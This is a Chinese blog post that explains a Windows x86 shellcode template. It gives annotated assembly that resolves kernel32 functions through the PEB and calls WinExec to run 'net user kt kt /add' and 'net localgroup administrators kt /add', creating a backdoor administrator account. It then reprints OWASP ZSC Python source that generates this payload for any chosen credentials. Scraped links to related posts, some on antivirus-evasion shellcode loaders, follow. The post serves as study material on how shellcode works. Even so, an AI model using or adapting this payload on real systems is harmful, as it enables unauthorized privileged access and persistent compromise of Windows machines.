ShellCode模板
前言
- 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
- 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor ecx,ecx
mov eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods dword ptr [esi] ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lods dword ptr [esi] ; EAX = Third(kernel32)
mov ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,dword ptr [edx+78h] ; EDX = Offset export table
add edx,ebx; EDX = Export table
mov esi,dword ptr [edx+20h] ; ESI = Offset names table
add esi,ebx; ESI = Names table
xor ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc ecx; Increment the ordinal
lods dword ptr [esi]; Get name offset
add eax,ebx ; Get function name
cmp dword ptr [eax],50746547h ; GetProcAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+4],41636F72h; rocAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+8],65726464h; ddress
jne 0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov esi,dword ptr [edx+24h]; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,word ptr [esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,dword ptr [edx+1Ch]; ESI = Offset address table
add esi,ebx; ESI = Address table
mov edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress
push ebx;PUSH kernel32.Base address
push edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor ecx,ecx ; ECX = 0
push ecx; PUSH ECX
mov ecx,61636578h;string acex
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push 456E6957h;string EniW
push esp;PUSH ESP WinExec
push ebx;PUSH EBX kernel32.Base address
call edx;CALL GetProcAddress
add esp,8;ESP+8
pop ecx;ECX=0
push eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor ecx,ecx;ECX=0
push ecx;PUSH ECX
push 64646190h;string dda[90]
pop ecx;ECX=string dda[90]
shr ecx,8;ECX=00646461 string dda
push ecx;PUSH ECX
push 2F20746Bh
push 2073726Fh
push 74617274h
push 73696E69h
push 6D646120h
push 70756F72h
push 676C6163h
push 6F6C2074h
push 656E2026h
push 26206464h
push 612F2074h
push 6B20746Bh
push 20726573h
push 75207465h
push 6E20632Fh
push 20657865h
push 2E646D63h
xor ebx,ebx;EBX=0
mov ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor ecx,ecx;ECX=0
inc ecx;EXC=1
push ecx;PUSH ECX=1
push ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call eax;CALL WinExec
;堆栈平衡
add esp,50h;ESP+50h
pop edx;EDX=kernel32.GetProcAddress
pop ebx;EBX=kernel32.Base Address
;退出程序
xor ecx,ecx;ECX=0
mov ecx,61737365h;string asse
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a"
push 636F7250h;string ; Proc
push 74697845h;string ; Exit
push esp;string "ExitProcess"
push ebx;kernel32.dll base address
call edx; GetProcAddress(Exec)
xor ecx,ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess
OWASP-ZSC部分源码
- 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil
def add_admin(command_hex, command):
return '''
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4))))))
def run(data):
username = data[0]
passsword = data[1]
command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
return add_admin(stack.generate(command, "%ecx", "string"), command)
拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。
generate函数的源码
def generate(data, register, gtype):
length = len(data)
if gtype == 'int':
flag_8 = True
try:
data = hex(int(data, 8))
except:
flag_8 = False
if flag_8 is False:
try:
data = hex(int(data, 16))
except:
error('hex or digit required!\nExit\n')
sys.exit(0)
if gtype == 'string':
data = st(data)
if length <= 3:
if gtype == 'string':
data = str('0x') + str(data)
if len(data) % 2 is not 0:
data = data.replace('0x', '0x0')
if len(data) is 8:
data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
register, register, register)
if len(data) is 6:
data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
register, register, register)
if len(data) is 4:
data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
data = str('push $') + str(data)
if length >= 4:
if gtype == 'int':
data = data[2:]
stack_content = data
shr_counter = len(stack_content) % 8
shr = None
if shr_counter is 2:
shr = '\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
stack_content = stack_content[0:2] + '909090' + stack_content[2:]
if shr_counter is 4:
shr = '\npop %s\nshr $0x10,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:4] + '9090' + stack_content[4:]
if shr_counter is 6:
shr = '\npop %s\nshr $0x8,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:6] + '90' + stack_content[6:]
zshr = shr
m = int(len(stack_content))
n = int(len(stack_content) / 8)
file_shellcode = ''
if (len(stack_content) % 8) is 0:
shr_n = 0
r = ''
while (n is not 0):
if shr is not None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
shr = None
if shr is None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
if zshr is None:
file_z = file_shellcode
if zshr is not None:
rep1 = file_shellcode[:16]
rep2 = rep1 + zshr
file_z = file_shellcode.replace(rep1, rep2)
data = file_z
return data
- 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。
ShellCode模板的更多相关文章
- luajit利用ffi结合C语言实现面向对象的封装库
luajit中.利用ffi能够嵌入C.眼下luajit的最新版是2.0.4,在这之前的版本号我还不清楚这个扩展库详细怎么样,只是在2.04中,真的非常爽. 既然是嵌入C代码.那么要说让lua支持 ...
- payload分离免杀
shellcode loader 借助第三方加载器,将shellcode加载到内存中来执行. https://github.com/clinicallyinane/shellcode_launcher ...
- CVE-2012-0158 漏洞分析报告
Office 2003 sp3(CVE-2012-0158)漏洞分析报告 软件名称:Office 2003 sp3 软件版本:2.0 漏洞模块:MSCOMCTL.ocx 模块版本:2.0.0. ...
- Shellcode入门
Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...
- 使用MSF生成shellcode
使用MSF生成shellcode payload和shellcode的区别 Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码.因为Payload是包含 ...
- 20145332 拓展:注入shellcode实验
20145332卢鑫 拓展:注入shellcode实验 shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外, ...
- pwn 题GDB调试技巧和exp模板
GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...
- 动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...
- shellcode 免杀(一)
工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异 ...
随机推荐
- kali中网卡、ssh、apache的配置与开启
在Kali-linux中修改网卡文件,启动ssh和apache服务的方法 1.su root //取得root权限 2.shift+字母 //大小写字母切换 3.修改网卡 ...
- 「模板」AC自动机
目录 说明 普通版本 询问更改版 拓扑优化版本 说明 这篇博客只挂模板,具体分析请膜拜大佬 hyfhaha 大佬. 普通版本 题目传送门 #include<cstdio> #include ...
- RAID 5+备份硬盘实验:mdadm
*独立冗余磁盘阵列---RAID5* RAID5+备份盘: 把硬盘设备的数据奇偶校验信息保存到其他硬盘设备中. RAID 5磁盘阵列组中数据的奇偶校验信息并不是单独保存到某一块硬盘设备中, 而是存储 ...
- PHP array_chunk() 妙用
定义和用法 array_chunk()函数把一个数组分割为新的数组块. array_chunk(array,size,preserve_keys); 参数 描述 array 必需.规定要使用的数组. ...
- Subroutine 子程序 Perl 第四章
子程序的定义是全局的,不需要事先声明.若重复定义子程序,后面的覆盖前面的. sub marine { $n +=1; print " Hello ,sailor number $_ ! &q ...
- JS高级---构造函数,实例对象和原型对象,三者关系
构造函数,实例对象和原型对象,三者关系 构造函数里面有原型(prototype)属性,即原型对象 原型对象里的constryctor构造器指向构造函数 通过构造函数,实例化,创建的就是实例对象. 实例 ...
- 交换分区swap和日志系统
目录 1.使用系统中的某个文件作为swap分区 1.1创建swapfile 1.2格式化swap分区 1.3检查当前swap分区情况 1.4临时启用新建swap分区并查看情况 1.5 关闭新建的swa ...
- 安装和配置Windows系统虚拟机
1.打开虚拟机软件,点击新建虚拟机. 2.选择典型配置,点击下一步. 3.点击安装程序光盘映像文件,选择对应的映像文件,然后点击下一步.选择对应的密钥和版本,设置密码等. 4.创建虚拟机名字和存储位置 ...
- linux查看公网ip的方法
curl ifconfig.me 或者 curl cip.cc
- python中,字符串前的u,b,r字符的含义
1.字符串前加 u 例:u"我是含有中文字符组成的字符串." 作用: 后面字符串以 Unicode 格式 进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时 ...